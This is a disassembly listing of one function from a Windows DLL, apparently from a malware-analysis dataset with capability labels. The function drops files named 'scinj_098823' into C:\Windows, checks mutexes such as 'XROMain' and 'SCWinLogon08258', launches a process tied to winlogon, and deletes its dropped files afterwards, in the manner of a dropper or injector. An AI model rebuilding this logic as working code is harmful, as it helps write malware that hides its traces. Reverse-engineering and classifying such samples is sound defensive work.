Function at 0x180021200
Capabilities:
Create process on windows
Delete file

Disassembly:
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rsi
push rdi
sub rsp, 0x1b8
mov rax, qword [0x180045408]
xor rax, rsp
mov qword [rsp + 0x1a8], rax
mov eax, dword [rsp + 0x238]
mov dword [0x18004a4fc], eax
call fcn.18000ca60
test eax, eax
je 0x18002125b
lea rcx, [0x18003a7c0]
call fcn.180006c60
mov eax, 0xfffffbb3
jmp 0x1800218a8
mov dword [rsp + 0xd8], 0
jmp 0x180021279
mov eax, dword [rsp + 0xd8]
add eax, 1
mov dword [rsp + 0xd8], eax
cmp dword [rsp + 0xd8], 0x64
jge 0x1800212a2
lea rcx, [0x18003a7e0]
call fcn.18000a6f0
test eax, eax
je 0x180021295
jmp 0x1800212a2
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x180021268
cmp dword [rsp + 0xd8], 0x64
jne 0x1800212c2
lea rcx, str.exploer
call fcn.180006c60
mov eax, 0xfffffbb2
jmp 0x1800218a8
mov edx, 8
lea rcx, [rsp + 0xc8]
call fcn.180007de0
lea rdi, [rsp + 0xc8]
xor eax, eax
mov rcx, 0xffffffffffffffff
repne scasb al, byte [rdi]
sub rdi, 1
lea rsi, [0x18003a800]
mov ecx, 5
rep movsb byte [rdi], byte [rsi]
mov edx, 8
lea rcx, [rsp + 0xb8]
call fcn.180007de0
lea rdi, [rsp + 0xb8]
xor eax, eax
mov rcx, 0xffffffffffffffff
repne scasb al, byte [rdi]
sub rdi, 1
lea rsi, str..dll
mov ecx, 5
rep movsb byte [rdi], byte [rsi]
mov edx, 8
lea rcx, [rsp + 0x98]
call fcn.180007de0
lea rdi, [rsp + 0x98]
xor eax, eax
mov rcx, 0xffffffffffffffff
repne scasb al, byte [rdi]
sub rdi, 1
lea rsi, [0x18003a62c]
mov ecx, 3
rep movsb byte [rdi], byte [rsi]
mov edx, 8
lea rcx, [rsp + 0xa8]
call fcn.180007de0
lea rdi, [rsp + 0xa8]
xor eax, eax
mov rcx, 0xffffffffffffffff
repne scasb al, byte [rdi]
sub rdi, 1
lea rsi, [0x18003a810]
mov ecx, 5
rep movsb byte [rdi], byte [rsi]
call fcn.18000bbd0
mov rdi, rax
call fcn.18000c7e0
mov r8, rax
mov eax, dword [rsp + 0x240]
mov dword [rsp + 0x88], eax
mov eax, dword [rsp + 0x220]
mov dword [rsp + 0x80], eax
mov rax, qword [rsp + 0x218]
mov qword [rsp + 0x78], rax
mov eax, dword [rsp + 0x210]
mov dword [rsp + 0x70], eax
mov rax, qword [rsp + 0x208]
mov qword [rsp + 0x68], rax
mov eax, dword [rsp + 0x200]
mov dword [rsp + 0x60], eax
mov rax, qword [rsp + 0x1f8]
mov qword [rsp + 0x58], rax
mov eax, dword [rsp + 0x1f0]
mov dword [rsp + 0x50], eax
mov rax, qword [rsp + 0x1e8]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0xa8]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x98]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0xb8]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0xc8]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x1e0]
mov qword [rsp + 0x20], rax
mov r9, rdi
mov rdx, qword [rsp + 0x1d8]
mov rcx, qword [rsp + 0x1d0]
call fcn.18001cf80
cmp dword [rsp + 0x228], 0
je 0x180021876
call fcn.18000c8b0
test eax, eax
je 0x18002151f
call fcn.18001cea0
mov rdi, rax
call fcn.18001cf10
mov rdx, rdi
mov rcx, rax
call fcn.180002bc0
call fcn.18001cee0
mov rdi, rax
call fcn.18001cf30
mov rdx, rdi
mov rcx, rax
call fcn.180002bc0
mov ecx, 0x400
call fcn.180001fd0
mov qword [rsp + 0xe0], rax
call fcn.18001cea0
mov rdi, rax
call fcn.18001cee0
mov r8, rdi
mov rdx, rax
lea rcx, [0x18003a818]
call fcn.1800020e0
mov qword [rsp + 0xe0], rax
mov rcx, qword [rsp + 0xe0]
mov rcx, qword [rcx + 8]
call fcn.18001ebd0
mov rcx, qword [rsp + 0xe0]
call fcn.180001f70
jmp 0x1800215a6
mov ecx, 0x400
call fcn.180001fd0
mov qword [rsp + 0xe8], rax
call fcn.18001ce80
mov rdi, rax
call fcn.18001cf00
mov rdx, rdi
mov rcx, rax
call fcn.180002bc0
call fcn.18001cec0
mov rdi, rax
call fcn.18001cf20
mov rdx, rdi
mov rcx, rax
call fcn.180002bc0
call fcn.18001ce80
mov rdi, rax
call fcn.18001cec0
mov r8, rdi
mov rdx, rax
lea rcx, str._s__runp2p:_s
call fcn.1800020e0
mov qword [rsp + 0xe8], rax
mov rcx, qword [rsp + 0xe8]
mov rcx, qword [rcx + 8]
call fcn.18001ebd0
mov rcx, qword [rsp + 0xe8]
call fcn.180001f70
mov dword [rsp + 0xf0], 0
jmp 0x1800215c4
mov eax, dword [rsp + 0xf0]
add eax, 1
mov dword [rsp + 0xf0], eax
cmp dword [rsp + 0xf0], 0x12c
jge 0x180021876
lea rcx, str.XROMain
call fcn.18000c820
mov rcx, rax
call fcn.18000a220
test eax, eax
je 0x180021866
lea rcx, [0x18003a840]
call fcn.180006b50
call fcn.18001cee0
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
call fcn.18001cec0
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
cmp dword [rsp + 0x230], 0
je 0x180021862
lea rcx, str.SCWinLogon08258
call fcn.18000a220
test eax, eax
jne 0x180021862
lea rax, str.c:_windows_scinj_098823.exe
mov qword [rsp + 0x108], rax
lea rax, str.c:_windows_scinj_098823.dll
mov qword [rsp + 0x100], rax
call fcn.18001cf10
mov rdx, qword [rsp + 0x100]
mov rcx, rax
call fcn.180002bc0
call fcn.18001cf30
mov rdx, qword [rsp + 0x108]
mov rcx, rax
call fcn.180002bc0
mov r8, qword [rsp + 0x100]
mov rdx, qword [rsp + 0x108]
lea rcx, str._s__rp2pex:_s
call fcn.1800020e0
mov qword [rsp + 0xf8], rax
mov rcx, qword [rsp + 0xf8]
mov rcx, qword [rcx + 8]
call fcn.180006b50
mov dword [rsp + 0x130], WSAGetLastError
lea rdi, [rsp + 0x138]
xor eax, eax
mov ecx, 0x60
rep stosb byte [rdi], al
mov qword [rsp + 0x110], 0
lea rdi, [rsp + 0x118]
xor eax, eax
mov ecx, reloc.WS2_32.dll_recv
rep stosb byte [rdi], al
mov ecx, 0x104
call fcn.180001fd0
mov qword [rsp + 0x1a0], rax
mov r8d, 0x104
mov rdx, qword [rsp + 0x1a0]
mov rdx, qword [rdx + 8]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xor eax, eax
mov rcx, 0xffffffffffffffff
mov rdi, qword [rsp + 0x1a0]
mov rdi, qword [rdi + 8]
repne scasb al, byte [rdi]
not rcx
sub rcx, 1
mov rax, qword [rsp + 0x1a0]
mov dword [rax + 4], ecx
mov rcx, qword [rsp + 0x1a0]
call fcn.180002640
xor eax, eax
mov rcx, 0xffffffffffffffff
mov rdi, qword [rsp + 0x1a0]
mov rdi, qword [rdi + 8]
repne scasb al, byte [rdi]
not rcx
sub rcx, 1
mov r8d, ecx
mov rdx, qword [rsp + 0x1a0]
mov rdx, qword [rdx + 8]
mov rcx, qword [str.c:_windows_scinj_098823.log]
call fcn.1800068f0
mov rdx, qword [rsp + 0x1a0]
mov rdx, qword [rdx + 8]
lea rcx, str.start_create_process_winlogon_start__s
call fcn.180006b50
lea rax, [rsp + 0x110]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x130]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rsp + 0xf8]
mov rdx, qword [rdx + 8]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x18002183a
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x110]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [rsp + 0x110]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x118]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x180021846
lea rcx, str.Createprocess
call fcn.180006b50
mov rcx, qword [rsp + 0x108]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
mov rcx, qword [rsp + 0x100]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
xor eax, eax
jmp 0x1800218a8
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1800215b3
call fcn.18001cee0
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
call fcn.18001cec0
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [0x18004a4f0]
xor ecx, ecx
call fcn.180020390
xor eax, eax
mov rcx, qword [rsp + 0x1a8]
xor rcx, rsp
call fcn.180021d30
add rsp, 0x1b8
pop rdi
pop rsi
ret